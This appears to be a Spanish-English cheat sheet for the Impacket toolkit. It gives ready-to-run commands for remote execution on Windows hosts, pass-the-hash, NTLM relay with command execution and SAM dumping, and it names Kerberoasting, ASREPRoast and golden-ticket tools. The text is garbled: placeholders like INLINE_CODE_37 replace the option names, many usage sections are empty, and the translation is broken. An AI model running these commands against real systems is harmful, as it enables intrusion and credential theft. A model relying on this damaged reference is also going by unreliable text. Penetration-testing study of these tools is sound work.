Impacket
Impacket Toolkit Cheat Sheet
Overview¶
Impacket es una colección de clases de Python para trabajar con protocolos de red. Proporciona acceso programático de bajo nivel a paquetes e implementa varios protocolos incluyendo SMB, MSRPC y Kerberos. Impacket incluye numerosas herramientas listas para usar para pruebas de penetración, especialmente centradas en entornos de Windows.
▪ restablecimiento Advertencia: Impacket es una herramienta de pruebas de seguridad que sólo debe usarse en entornos donde tiene permiso explícito para hacerlo.
Instalación¶
From PyPI¶
From GitHub¶
git clone https://github.com/fortra/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install
On Kali Linux¶
Usando Medio Ambiente Virtual¶
# Create and activate virtual environment
python -m venv impacket-env
source impacket-env/bin/activate # Linux/macOS
impacket-env\Scripts\activate.bat # Windows
# Install Impacket
pip install impacket
Command Execution Tools¶
psexec.py¶
Ejecute comandos en sistemas remotos de Windows usando el protocolo SMB, similar al PsExec de SysInternals.
Uso básico¶
Opciones comunes¶
smbexec. py¶
Similar a psexec.py pero utiliza diferentes técnicas para ejecutar comandos, lo que lo hace potencialmente sigilo.
Uso básico¶
Opciones comunes¶
| Option | Description |
|---|---|
| INLINE_CODE_37 | Use NTLM hashes instead of password (Pass-the-Hash) |
| INLINE_CODE_38 | Share where the output will be grabbed from (default: ADMIN$) |
| INLINE_CODE_39 | Shell type to use (default: cmd) |
| INLINE_CODE_40 | Sets encoding used (codec) from the target's output (default: UTF-8) |
| INLINE_CODE_41 | Service name to use (default: random) |
Ejemplos¶
# Execute with explicit credentials
smbexec.py administrator:Password123@192.168.1.100
# Execute with domain credentials
smbexec.py domain/administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)
smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
# Use PowerShell instead of cmd
smbexec.py -shell-type powershell administrator:Password123@192.168.1.100
wmiexec. py¶
Ejecute comandos en sistemas remotos de Windows usando WMI.
Uso básico¶
Opciones comunes¶
| Option | Description |
|---|---|
| INLINE_CODE_42 | Use NTLM hashes instead of password (Pass-the-Hash) |
| INLINE_CODE_43 | Share where the output will be grabbed from (default: ADMIN$) |
| INLINE_CODE_44 | Execute command and return immediately without output |
| INLINE_CODE_45 | Sets encoding used (codec) from the target's output (default: UTF-8) |
| INLINE_CODE_46 | Shell type to use (default: cmd) |
Ejemplos¶
# Execute with explicit credentials
wmiexec.py administrator:Password123@192.168.1.100
# Execute with domain credentials
wmiexec.py domain/administrator:Password123@192.168.1.100
# Execute specific command
wmiexec.py administrator:Password123@192.168.1.100 "ipconfig /all"
# Use hash instead of password (Pass-the-Hash)
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
dcomexec. py¶
Ejecute comandos en sistemas remotos de Windows usando objetos DCOM.
Uso básico¶
Opciones comunes¶
| Option | Description |
|---|---|
| INLINE_CODE_47 | Use NTLM hashes instead of password (Pass-the-Hash) |
| INLINE_CODE_48 | DCOM object to use (default: MMC20.Application) |
| INLINE_CODE_49 | Execute command and return immediately without output |
| INLINE_CODE_50 | Sets encoding used (codec) from the target's output (default: UTF-8) |
| INLINE_CODE_51 | Shell type to use (default: cmd) |
Ejemplos¶
# Execute with explicit credentials
dcomexec.py administrator:Password123@192.168.1.100
# Execute with domain credentials
dcomexec.py domain/administrator:Password123@192.168.1.100
# Execute with specific DCOM object
dcomexec.py -object ShellWindows administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)
dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
atexec.py¶
Ejecute comandos en sistemas remotos de Windows usando el servicio Task Scheduler.
Uso básico¶
Opciones comunes¶
| Option | Description |
|---|---|
| INLINE_CODE_52 | Use NTLM hashes instead of password (Pass-the-Hash) |
| INLINE_CODE_53 | Execute command and return immediately without output |
| INLINE_CODE_54 | Sets encoding used (codec) from the target's output (default: UTF-8) |
Ejemplos¶
# Execute command with explicit credentials
atexec.py administrator:Password123@192.168.1.100 "whoami > C:\\temp\\whoami.txt"
# Execute command with domain credentials
atexec.py domain/administrator:Password123@192.168.1.100 "whoami > C:\\temp\\whoami.txt"
# Use hash instead of password (Pass-the-Hash)
atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100 "whoami > C:\\temp\\whoami.txt"
Credential Dumping Tools¶
Secretsdump. py¶
Extrae las credenciales de un sistema remoto de Windows, incluyendo SAM, LSA Secrets, y NTDS.dit.
Uso básico¶
Opciones comunes¶
Kerberos Attack Tools¶
GetNPUsers.py¶
Retrieves contraseña hashes para los usuarios con "No requieren preauthentication de Kerberos" conjunto (ASREPRoast attack).
Uso básico¶
Opciones comunes¶
GetUserSPNs.py¶
Retrieves Service Principal Names (SPNs) para las cuentas en el dominio (Kerberoasting attack).
Uso básico¶
Opciones comunes¶
Ticketer. py¶
Crea entradas de oro y plata para la autenticación de Kerberos.
Uso básico¶
Opciones comunes¶
Red Protocols Tools¶
Smbclient. py¶
Proporciona un cliente SMB para acceder a acciones y archivos en sistemas remotos.
Uso básico¶
Opciones comunes¶
mssqlclient. py¶
Proporciona un cliente para interactuar con las instancias de Microsoft SQL Server.
Uso básico¶
Opciones comunes¶
| Option | Description |
|---|---|
| INLINE_CODE_99 | Use NTLM hashes instead of password (Pass-the-Hash) |
| INLINE_CODE_100 | Use Windows Authentication (default: False) |
| INLINE_CODE_101 | Destination port to connect to (default: 1433) |
| INLINE_CODE_102 | MSSQL database instance (default: None) |
| INLINE_CODE_103 | Input file with commands to execute in the SQL shell |
| INLINE_CODE_104 | Turn DEBUG output ON |
Comandos Comunitarios Interactivos¶
Ejemplos¶
# Connect with explicit credentials
mssqlclient.py sa:Password123@192.168.1.100
# Connect with domain credentials
mssqlclient.py domain/sqluser:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)
mssqlclient.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 sa@192.168.1.100
# Enable Windows authentication
mssqlclient.py domain/sqluser:Password123@192.168.1.100 -windows-auth
Otras herramientas útiles¶
ntlmrelayx. py¶
Performs NTLM Atentados de relé.
Uso básico¶
Opciones comunes¶
| Option | Description |
|---|---|
| INLINE_CODE_111 | Target to relay the credentials to |
| INLINE_CODE_112 | File with targets to relay the credentials to |
| INLINE_CODE_113 | Start the HTTP server and do not relay credentials |
| INLINE_CODE_114 | Execute this file when a connection is relayed |
| INLINE_CODE_115 | Execute this command when a connection is relayed |
| INLINE_CODE_116 | Enable SMB2 support |
| INLINE_CODE_117 | Launch a SOCKS proxy for the connection |
| INLINE_CODE_118 | Relay only one connection |
| INLINE_CODE_119 | Turn DEBUG output ON |
Ejemplos¶
# Relay to specific target
ntlmrelayx.py -t smb://192.168.1.100 -smb2support
# Relay to multiple targets
ntlmrelayx.py -tf targets.txt -smb2support
# Execute command on successful relay
ntlmrelayx.py -t smb://192.168.1.100 -smb2support -c "whoami > C:\\temp\\whoami.txt"
# Dump SAM database on successful relay
ntlmrelayx.py -t smb://192.168.1.100 -smb2support -d
# Start SOCKS proxy
ntlmrelayx.py -tf targets.txt -socks
Lookupsid. py¶
Realiza búsquedas SID para enumerar usuarios y grupos.
Uso básico¶
Opciones comunes¶
| Option | Description |
|---|---|
| INLINE_CODE_120 | Use NTLM hashes instead of password (Pass-the-Hash) |
| INLINE_CODE_121 | Domain to enumerate (default: target domain) |
| INLINE_CODE_122 | Turn DEBUG output ON |
Ejemplos¶
# Enumerate SIDs with explicit credentials
lookupsid.py administrator:Password123@192.168.1.100
# Enumerate SIDs with domain credentials
lookupsid.py domain/administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)
lookupsid.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.100
reg.py¶
Proporciona una herramienta de manipulación remota del registro.
Uso básico¶
Opciones comunes¶
| Option | Description |
|---|---|
| INLINE_CODE_123 | Use NTLM hashes instead of password (Pass-the-Hash) |
| INLINE_CODE_124 | Turn DEBUG output ON |
Actions¶
Parámetros comunes a través de herramientas¶
| Parameter | Description |
|---|---|
| INLINE_CODE_129 | Show help message and exit |
| INLINE_CODE_130 | Turn DEBUG output ON |
| INLINE_CODE_131 | NTLM hashes, format is LMHASH:NTHASH |
| INLINE_CODE_132 | Don't ask for password (useful for Kerberos) |
| INLINE_CODE_133 | Use Kerberos authentication |
| INLINE_CODE_134 | AES key to use for Kerberos authentication |
| INLINE_CODE_135 | IP Address of the domain controller |
| INLINE_CODE_136 | IP Address of the target machine |
| INLINE_CODE_137 | Destination port to connect to |
Resources¶
- [Repositorio de GitHub Official](URL_144_
- [Impacket Documentation](URL_145__
- [ Ejemplos de paquete](URL_146_
- [Impacket Wiki]
- [Impacket API Documentation](URL_148__